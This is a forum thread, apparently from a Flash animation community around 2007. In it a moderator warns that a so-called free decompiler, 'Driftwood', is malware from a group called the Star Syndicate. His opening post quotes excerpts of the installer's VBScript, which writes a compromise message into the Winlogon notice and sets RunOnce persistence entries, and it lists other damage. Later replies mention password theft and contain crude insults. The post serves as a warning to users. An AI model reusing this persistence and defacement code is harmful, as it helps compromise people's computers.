Wow. Free decompiler? No.

[Denvish]

So I just deleted a thread about the supposed 'free decompiler' Driftwood.

I downloaded it to check, right clicked on the 'install.vbs' file and selected 'edit'

Here are a couple of excerpts from the file:

oShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption ", "Your computer has been compromised.", "REG_SZ"
oShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText", strUserName & ": Your computer is now in the possession of the Star Syndicate because you are an unlucky sap. z7.invisionfree.com/Star_Syndicate", "REG_SZ"

oShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersi on\RunOnce\AAGoldencat", Chr(34) & strUserProfile & "\userRorret.bat" & Chr(34), "REG_SZ"
Set overview = fso.GetFile(curDir & "\readlter.d22")
overview.Copy(strUserProfile & "\Closer.vbs")
oShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersi on\RunOnce\ABChrome", Chr(34) & strUserProfile & "\Closer.vbs" & Chr(34), "REG_SZ"

Basically, what this vbs file does is this:

It deletes any current \backup folder and creates a new one
It copies itself to the (new) \backup folder and deletes the folder you supposedly installed it in, making it harder to find
It cripples System Restore
It changes your wallpaper, some of your sounds, and your screensaver, and replaces them with SS ones
It changes various other vital registry settings, making it tricky to restore them in the process
And some other shit

Although I've previously been a member of the SS because it's fun, I really think they've taken a step in the wrong direction with this. Basically, this is a warning: DO NOT DOWNLOAD & INSTALL SO-CALLED 'FREE DECOMPILERS' (or any other programs suggested by users), NO MATTER HOW GENUINE THE USERS SEEMS. Their claims to have 'been using the program for weeks without problems' are lies.

I'm sure they'll change their strategy (and probably attempt to hack my account) when they see this topic (HAI GUYZ), but basically, this is what you're looking for:

[Jindo]

wow, does this mean SoThink is bad?

I mean, it's not free, but, is it bad?

o_O.

[iAnimate]

I never touch any files I don't trust anywho.

Wow, so people get tricked into getting downloading this file.

It's strange, cause I actually like some of the Star Syndicate's work such as Blackhead and flashes by ZekeySpaceyLizard and Rtil.

Are those talented animators involved?

[Josh-B]

Well, I'm sure anyone who would ever try to get a free decompiler, probably deserves it. Thanks for the heads up anyhow.

[Paranoia]

I wonder if fake Cybex has anything to do with this :P

[Josh-B]

At 1/28/07 03:08 PM, Paranoia wrote: I wonder if fake Cybex has anything to do with this :P

I dunno. It seems the SS is on the rise.

[Jindo]

At 1/28/07 03:05 PM, Masterswordman wrote: Well, I'm sure anyone who would ever try to get a free decompiler, probably deserves it. Thanks for the heads up anyhow.

decompilers aren't bad though right? I mean, they saved our Christmas Collab, and my Halloween game, and many other games and things that've gone wrong for me :P.

I like decompilers, so long as they aren't for theft.

[Denvish]

At 1/28/07 03:01 PM, iAnimate wrote: I never touch any files I don't trust anywho.

Wow, so people get tricked into getting downloading this file.

It's strange, cause I actually like some of the Star Syndicate's work such as Blackhead and flashes by ZekeySpaceyLizard and Rtil.

Are those talented animators involved?

Nah, this is down to the 'bad boys' such as Chrome (bless 'im), Goldencat (supposedly), and wtfsnoe. I haven't been on their forums for a long time (and it seems my account there is now deleted (THANKS GUYZ)), but I get the feeling that many of them look the other way when it comes to shit like this. Although they're pretty much all against 'overrated artists' and 'authority', which is fair enough, some of them have taken it a step further.

I'm not anti-SS by any stretch of the imagination, but I also do think this kind of crap is a) illegal and b) out of order.

By the way, I believe that 'Driftwood' was formerly called 'Eximus'. I'm sure it'll have a few more incarnations before they get too old to be arsed with this shit.

[Josh-B]

At 1/28/07 03:16 PM, Jindo wrote: decompilers aren't bad though right? I mean, they saved our Christmas Collab, and my Halloween game, and many other games and things that've gone wrong for me :P.

I like decompilers, so long as they aren't for theft.

Well, yeah theres that. But trying to get it for free probably means they want to steal something with it.

[Paranoia]

At 1/28/07 03:16 PM, Jindo wrote:

At 1/28/07 03:05 PM, Masterswordman wrote: Well, I'm sure anyone who would ever try to get a free decompiler, probably deserves it. Thanks for the heads up anyhow.

decompilers aren't bad though right? I mean, they saved our Christmas Collab, and my Halloween game, and many other games and things that've gone wrong for me :P.

lol, and mine and Fuzz's game when I accidentially deleted all the files for it on my PC :P

[Denvish]

At 1/28/07 03:16 PM, Jindo wrote:

At 1/28/07 03:05 PM, Masterswordman wrote: Well, I'm sure anyone who would ever try to get a free decompiler, probably deserves it. Thanks for the heads up anyhow.

decompilers aren't bad though right? I mean, they saved our Christmas Collab, and my Halloween game, and many other games and things that've gone wrong for me :P.

I like decompilers, so long as they aren't for theft.

Eltima and Sothink are fine, and I'm sure there are other legit decompilers out there. But I've never seen the authors or users of either of them come hawking them round the BBS. The SS is specifically targetting NG, for one reason or another.

[patu1]

sory for noobish qustion who are the ss ???

[Josh-B]

At 1/28/07 03:26 PM, patu1 wrote: sory for noobish qustion who are the ss ???

Star Syndicate. Like the Clock Crew or Lock Legion...except not.

[phyconinja]

If you don't mind me asking. Whats the SS?

[Kart-Man]

At 1/28/07 03:26 PM, patu1 wrote: sory for noobish qustion who are the ss ???

The Star Syndicate. Read here.!

[deltatsunami]

At 1/28/07 03:28 PM, phyconinja wrote: If you don't mind me asking. Whats the SS?

star syndicate

[phyconinja]

delete my last post please...
lol
I was think it was something like that..

my first thought was Sock Section or something like that..
=P

[Tree-SkyLark-BCE]

Yes, like an idiot, I got this before. Are the effects merely visual and annoying? I mean, it does not install any keyloggers?

[Denvish]

At 1/28/07 03:32 PM, Tree-SkyLark-BCE wrote: Yes, like an idiot, I got this before. Are the effects merely visual and annoying? I mean, it does not install any keyloggers?

Not sure, another mod deleted a post by WereHere, in which he said something about getting your NG password and some other stuff, but I only saw the post briefly, so I'm not sure what else the install file does - and I don't really have the time to analyse it in depth.

[Re2deemer]

REad and learn the sad truth

[Paranoia]

At 1/28/07 03:38 PM, Re2deemer wrote: REad and learn the sad truth

Care to pick apart the 'antidote', Denvers?

[Re2deemer]

At 1/28/07 03:46 PM, Paranoia wrote:

At 1/28/07 03:38 PM, Re2deemer wrote: REad and learn the sad truth

Care to pick apart the 'antidote', Denvers?

already tried it. Removes somestuff but there are still a few unpleasant side effects such as not being able to right-click on desktop and in folders.

[GeoKureli]

i use sothink and its fine

[TheCrimsonChin]

DONT DOWNLOAD ANY supposed Antidotes

they steal ALL YOUR PASSWORDS
they even "yeekd" ketayo.com

to all idiots who downloaded it, you have until you reboot to use your computer. When it reboots, your fucked. Do what you can now such as look through the source code for stuff it messes with and fix it.

[MattPrior]

in the forum thing he sounds like an evil possesed villain in some movie, who plans to destroy the world-"I've created this virus to spread noteriety and fame to the Star Syndicate."
whats even sadder is that people are saying
-"awesome"
-"i cant wait to see how this turns out"
-"nice job"
-"nicely done"
and laughing at people who got "hacked"
i cant belive no one had the balls to stand up and admit that what they were doing was wrong

for shame l=[

[BlueHippo]

ouch. i have to admit this is rather clever, but that's pretty mean. heh. chrome is always coming up with new ideas every day, to trick the weak. thanks for being a super nerd denvish, the super, is like a super hero, as you are here to save the day... or something of that matter :P

[LordOfKetchup]

This is such old news.

But the only antidotes have been taken down and you only can get them from goldencat or chrome.

[Trunks]

At 1/28/07 10:17 PM, MattPrior wrote: i cant belive no one had the balls to stand up and admit that what they were doing was wrong

for shame l=[

I think they're afraid of themselves. Methinks we should do something about it.

Btw, thanks Denvish for the heads up / help, I'm usually safe with this stuff but good to know if it does end up happening to me.

[WolfAkela]

That's really clever. o_o Have you tried scanning the file if the antivirus detects it?

Sothink is good, imo. Doesn't decompile the whole *.fla properly (maybe NEVER), but at least I could still snag some MCs and sound clips when I lost my *.fla. This, plus Flare (AS extractor) is a winning combo.

[Paranoia]

At 1/28/07 10:17 PM, MattPrior wrote: i cant belive no one had the balls to stand up and admit that what they were doing was wrong

for shame l=[

lol, like any of these guysv have balls. They all met at support groups for people who lost thier gonads in unfortunate accidents, and now write viri as a petty revenge against the universe for their faliure. Well known fact.